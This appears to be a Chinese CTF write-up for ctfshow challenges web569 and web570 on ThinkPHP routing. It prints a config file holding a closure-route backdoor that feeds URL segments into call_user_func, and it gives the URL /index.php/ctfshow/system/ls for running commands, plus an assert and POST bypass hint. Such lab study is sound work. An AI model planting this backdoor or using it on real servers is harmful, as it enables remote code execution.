web569


ThinkPHP 的 PATH_INFO 模式 URL 格式为:
http://域名/入口文件/模块名/控制器名/操作方法名/参数
访问:/index.php/Admin/Login/ctfshowLogin

web570

闭包路由是指直接通过匿名函数(Closure)定义的路由,通常形式如下:

1
2
3
4
5
6
7
8
9
10
11
// ThinkPHP 5 示例
Route::get('backdoor', function () {
// 后门逻辑,比如直接输出 flag
echo 'flag{...}';
});

// ThinkPHP 6 示例
use think\facade\Route;
Route::any('secret', function () {
return 'flag{...}';
});

这类路由不会绑定到控制器 / 方法,而是直接执行匿名函数内的代码,因此常被用作 “后门”
此题核心目标是找到这个后门
本题目的后门位于Application\Common\Conf\confing.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
return array(
//'配置项'=>'配置值'
'DB_TYPE' => 'mysql', // 数据库类型
'DB_HOST' => '127.0.0.1', // 服务器地址
'DB_NAME' => 'ctfshow', // 数据库名
'DB_USER' => 'root', // 用户名
'DB_PWD' => 'ctfshow', // 密码
'DB_PORT' => '3306', // 端口
'URL_ROUTER_ON' => true,
'URL_ROUTE_RULES' => array(
'ctfshow/:f/:a' =>function($f,$a){
call_user_func($f, $a);
}
)
);

路由规则是:

  • URL 结构:/ctfshow/函数名/参数
  • 核心功能:通过 call_user_func($f, $a) 动态调用 PHP 函数,其中 $f 是函数名,$a 是传入该函数的参数。
    类似/index.php/ctfshow/system/ls构造可以执行
    assert($code) 会将字符串 $code 当作 PHP 代码执行,是 CTF 中常用的 “后门” 函数。但是tp里的传入规则会混淆/,所以不能在参数中直接用写入/,所以通过post绕过一下